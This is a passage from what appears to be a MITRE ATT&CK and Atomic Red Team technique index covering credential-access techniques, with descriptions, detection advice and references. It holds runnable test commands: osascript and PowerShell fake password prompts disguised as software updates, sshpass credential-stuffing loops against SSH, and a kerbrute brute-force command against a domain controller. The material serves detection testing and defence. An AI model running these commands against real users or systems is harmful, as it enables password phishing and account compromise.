PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Jon Sternstein, Stern Security - Pawel Partyka, Microsoft 365 Defender - Shanief Webb - Obsidian Security x_mitre_deprecated: false x_mitre_detection: 'Monitor user account logs as well as 2FA/MFA application logs for suspicious events: unusual login attempt source location, mismatch in location of login attempt and smart device receiving 2FA/MFA request prompts, and high volume of repeated login attempts, all of which may indicate user''s primary credentials have been compromised minus 2FA/MFA mechanism. ' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Office 365 - Linux - macOS - IaaS - SaaS - Azure AD - Google Workspace x_mitre_version: '1.1' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Logon Session: Logon Session Metadata' - 'Application Log: Application Log Content' - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--954a1639-f2d6-407d-aef3-4917622ca493 created: '2022-04-01T02:15:49.754Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1621 external_id: T1621 - source_name: Russian 2FA Push Annoyance - Cimpanu description: Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022. url: https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/ - source_name: MFA Fatigue Attacks - PortSwigger description: 'Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.' url: https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications - source_name: Suspected Russian Activity Targeting Government and Business Entities Around the Globe description: Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022. url: https://www.mandiant.com/resources/russian-targeting-gov-business - source_name: Obsidian SSPR Abuse 2023 description: 'Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.' url: https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1552.008: technique: modified: '2023-04-11T00:34:00.779Z' name: Chat Messages description: |- Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Douglas Weir x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Office 365 - SaaS - Google Workspace x_mitre_version: '1.0' x_mitre_data_sources: - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3 created: '2023-03-14T14:38:03.673Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/008 external_id: T1552.008 - source_name: Slack Security Risks description: Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023. url: https://www.nightfall.ai/blog/saas-slack-security-risks-2020 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1212: technique: modified: '2023-10-15T11:45:21.555Z' name: Exploitation for Credential Access description: |- Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.  Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack) Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access) Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - John Lambert, Microsoft Threat Intelligence Center - Mohit Rathore x_mitre_deprecated: false x_mitre_detection: Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. Credential resources obtained through exploitation may be detectable in use if they are not normally used or seen. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS - Azure AD x_mitre_version: '1.5' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Process: Process Creation' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--9c306d8d-cde7-4b4c-b6e8-d0bb16caca36 created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1212 external_id: T1212 - source_name: Bugcrowd Replay Attack description: Bugcrowd. (n.d.). Replay Attack. Retrieved September 27, 2023. url: https://www.bugcrowd.com/glossary/replay-attack/ - source_name: Comparitech Replay Attack description: Justin Schamotta. (2022, October 28). What is a replay attack?. Retrieved September 27, 2023. url: https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/ - source_name: ADSecurity Detecting Forged Tickets description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. url: https://adsecurity.org/?p=1515 - source_name: Storm-0558 techniques for unauthorized email access description: Microsoft Threat Intelligence. (2023, July 14). Analysis of Storm-0558 techniques for unauthorized email access. Retrieved September 18, 2023. url: https://www.microsoft.com/en-us/security/blog/2023/07/14/analysis-of-storm-0558-techniques-for-unauthorized-email-access/ - source_name: Microsoft Midnight Blizzard Replay Attack description: Microsoft Threat Intelligence. (2023, June 21). Credential Attacks. Retrieved September 27, 2023. url: https://twitter.com/MsftSecIntel/status/1671579359994343425 - source_name: Technet MS14-068 description: Microsoft. (2014, November 18). Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780). Retrieved December 23, 2015. url: https://technet.microsoft.com/en-us/library/security/ms14-068.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1056.002: technique: modified: '2024-04-15T23:39:31.474Z' name: 'Input Capture: GUI Input Capture' description: |- Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., [Browser Information Discovery](https://attack.mitre.org/techniques/T1217) and/or [Application Window Discovery](https://attack.mitre.org/techniques/T1010)) to spoof prompts when users are naturally accessing sensitive sites/data. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Matthew Molyett, @s1air, Cisco Talos x_mitre_deprecated: false x_mitre_detection: "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. " x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - macOS - Windows - Linux x_mitre_version: '1.3' x_mitre_data_sources: - 'Script: Script Execution' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--a2029942-0a85-4947-b23c-ca434698171d created: '2020-02-11T18:58:45.908Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056/002 external_id: T1056.002 - source_name: LogRhythm Do You Trust Oct 2014 description: Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018. url: https://logrhythm.com/blog/do-you-trust-your-computer/ - source_name: Spoofing credential dialogs description: Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021. url: https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/ - source_name: OSX Keydnap malware description: Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017. url: https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/ - source_name: Enigma Phishing for Credentials Jan 2015 description: 'Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.' url: https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ - source_name: OSX Malware Exploits MacKeeper description: Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017. url: https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1056.002 atomic_tests: - name: AppleScript - Prompt User for Password auto_generated_guid: 76628574-0bc1-4646-8fe2-8f4427b47d15 description: | Prompt User for Password (Local Phishing) Reference: http://fuzzynop.blogspot.com/2014/10/osascript-for-local-phishing.html supported_platforms: - macos executor: command: 'osascript -e ''tell app "System Preferences" to activate'' -e ''tell app "System Preferences" to activate'' -e ''tell app "System Preferences" to display dialog "Software Update requires that you type your password to apply changes." & return & return default answer "" with icon 1 with hidden answer with title "Software Update"'' ' name: bash - name: PowerShell - Prompt User for Password auto_generated_guid: 2b162bfd-0928-4d4c-9ec3-4d9f88374b52 description: | Prompt User for Password (Local Phishing) as seen in Stitch RAT. Upon execution, a window will appear for the user to enter their credentials. Reference: https://github.com/nathanlopez/Stitch/blob/master/PyLib/askpass.py supported_platforms: - windows executor: command: "# Creates GUI to prompt for password. Expect long pause before prompt is available. \n$cred = $host.UI.PromptForCredential('Windows Security Update', '',[Environment]::UserName, [Environment]::UserDomainName)\n# Using write-warning to allow message to show on console as echo and other similar commands are not visable from the Invoke-AtomicTest framework.\nwrite-warning $cred.GetNetworkCredential().Password\n" name: powershell - name: AppleScript - Spoofing a credential prompt using osascript auto_generated_guid: b7037b89-947a-427a-ba29-e7e9f09bc045 description: | Prompt user for password without requiring permissions to send Apple events to System Settings. https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/ supported_platforms: - macos executor: command: | PWD_SPOOF=$(osascript -e 'display dialog "To perform a security update MacOS needs your passphrase." with title "MacOS Security Update" default answer "" with icon stop with hidden answer') echo $PWD_SPOOF name: bash T1110: technique: modified: '2024-01-29T18:53:26.593Z' name: Brute Force description: |- Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. Brute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - David Fiser, @anu4is, Trend Micro - Alfredo Oliveira, Trend Micro - Magno Logan, @magnologan, Trend Micro - Yossi Weizman, Azure Defender Research Team - Ed Williams, Trustwave, SpiderLabs - Mohamed Kmal x_mitre_deprecated: false x_mitre_detection: Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '2.5' x_mitre_data_sources: - 'User Account: User Account Authentication' - 'Command: Command Execution' - 'Application Log: Application Log Content' type: attack-pattern id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd created: '2017-05-31T21:31:22.767Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1110 external_id: T1110 - source_name: TrendMicro Pawn Storm Dec 2020 description: Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021. url: https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html - source_name: Dragos Crashoverride 2018 description: 'Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.' url: https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1110.004: technique: modified: '2024-03-07T14:28:02.910Z' name: 'Brute Force: Credential Stuffing' description: |- Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Diogo Fernandes - Anastasios Pingios x_mitre_deprecated: false x_mitre_detection: Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Linux - macOS - Google Workspace - Containers - Network x_mitre_version: '1.5' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'User Account: User Account Authentication' type: attack-pattern id: attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc created: '2020-02-11T18:39:59.959Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1110/004 external_id: T1110.004 - source_name: US-CERT TA18-068A 2018 description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019. url: https://www.us-cert.gov/ncas/alerts/TA18-086A object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1110.004 atomic_tests: - name: SSH Credential Stuffing From Linux auto_generated_guid: 4f08197a-2a8a-472d-9589-cd2895ef22ad description: 'Using username,password combination from a password dump to login over SSH. ' supported_platforms: - linux input_arguments: target_host: description: IP Address / Hostname you want to target. type: string default: localhost dependency_executor_name: bash dependencies: - description: 'Requires SSHPASS ' prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then sudo apt update && sudo apt install sshpass -y; else echo "This test requires sshpass" ; fi ; ' executor: name: bash elevation_required: false command: | cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done - name: SSH Credential Stuffing From MacOS auto_generated_guid: d546a3d9-0be5-40c7-ad82-5a7d79e1b66b description: 'Using username,password combination from a password dump to login over SSH. ' supported_platforms: - macos input_arguments: target_host: description: IP Address / Hostname you want to target. type: string default: localhost dependency_executor_name: bash dependencies: - description: 'Requires SSHPASS ' prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: | /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/e8114640740938c20cc41ffdbf07816b428afc49/install.sh)" brew install hudochenkov/sshpass/sshpass executor: name: bash elevation_required: false command: | cp "$PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt" /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done - name: SSH Credential Stuffing From FreeBSD auto_generated_guid: a790d50e-7ebf-48de-8daa-d9367e0911d4 description: 'Using username,password combination from a password dump to login over SSH. ' supported_platforms: - linux input_arguments: target_host: description: IP Address / Hostname you want to target. type: string default: localhost dependency_executor_name: sh dependencies: - description: 'Requires SSHPASS ' prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit 1; fi; ' get_prereq_command: 'pkg install -y sshpass ' executor: name: sh elevation_required: false command: | cp $PathToAtomicsFolder/T1110.004/src/credstuffuserpass.txt /tmp/ for unamepass in $(cat /tmp/credstuffuserpass.txt);do sshpass -p `echo $unamepass | cut -d":" -f2` ssh -o 'StrictHostKeyChecking=no' `echo $unamepass | cut -d":" -f1`@#{target_host};done - name: Brute Force:Credential Stuffing using Kerbrute Tool auto_generated_guid: 4852c630-87a9-409b-bb5e-5dc12c9ebcde description: 'Will read username and password combos from a file or stdin (format username:password) and perform a bruteforce attack ' supported_platforms: - windows input_arguments: domaincontroller: description: Domain controller where test will be run type: string default: "$ENV:userdnsdomain" domain: description: Domain where you will be testing type: string default: "$ENV:userdomain" dependency_executor_name: powershell dependencies: - description: 'kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe" - description: 'bruteforce.txt must exist in PathToAtomicsFolder\..\ExternalPayloads ' prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt"){exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.004/src/bruteforce.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\bruteforce.txt" executor: name: powershell elevation_required: false command: "cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\" \ \n" T1556.006: technique: modified: '2024-04-16T00:20:21.488Z' name: Multi-Factor Authentication description: "Adversaries may disable or modify multi-factor authentication (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce adversaries have gained access to a network by either compromising an account lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621), adversaries may leverage their access to modify or completely disable MFA defenses. This can be accomplished by abusing legitimate features, such as excluding users from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled MFA method, or by manually patching MFA programs and configuration files to bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls to localhost instead of an MFA server may cause the MFA process to fail. If a \"fail open\" policy is in place, any otherwise successful authentication attempt may be granted access without enforcing MFA. (Citation: Russians Exploit Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals, and privileges of the adversary, MFA defenses may be disabled for individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_contributors: - Liran Ravich, CardinalOps - Muhammad Moiz Arshad, @5T34L7H x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Azure AD - Office 365 - SaaS - IaaS - Google Workspace - Linux - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'Application Log: Application Log Content' - 'Active Directory: Active Directory Object Modification' - 'User Account: User Account Authentication' - 'User Account: User Account Modification' x_mitre_defense_bypassed: - Multi-Factor Authentication type: attack-pattern id: attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc created: '2022-05-31T19:31:38.431Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1556/006 external_id: T1556.006 - source_name: Russians Exploit Default MFA Protocol - CISA March 2022 description: Cyber Security Infrastructure Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved May 31, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: Mandiant APT42 description: 'Mandiant. (n.d.). APT42: Crooked Charms, Cons and Compromise. Retrieved September 16, 2022.' url: https://www.mandiant.com/media/17826 - source_name: Azure AD Conditional Access Exclusions description: Microsoft. (2022, August 26). Use Azure AD access reviews to manage users excluded from Conditional Access policies. Retrieved August 30, 2022. url: https://docs.microsoft.com/en-us/azure/active-directory/governance/conditional-access-exclusion object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1187: technique: modified: '2023-08-14T19:30:45.123Z' name: Forced Authentication description: |- Adversaries may gather credential material by invoking or forcing a user to automatically provide authentication information through a mechanism in which they can intercept. The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security) Adversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB) There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) * A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Teodor Cimpoesu - Sudhanshu Chauhan, @Sudhanshu_C x_mitre_deprecated: false x_mitre_detection: |- Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows x_mitre_version: '1.3' x_mitre_data_sources: - 'File: File Access' - 'Network Traffic: Network Traffic Flow' - 'File: File Modification' - 'File: File Creation' - 'Network Traffic: Network Traffic Content' type: attack-pattern id: attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2 created: '2018-01-16T16:13:52.465Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1187 external_id: T1187 - source_name: Cylance Redirect to SMB description: Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017. url: https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf - source_name: GitHub Hashjacking description: Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017. url: 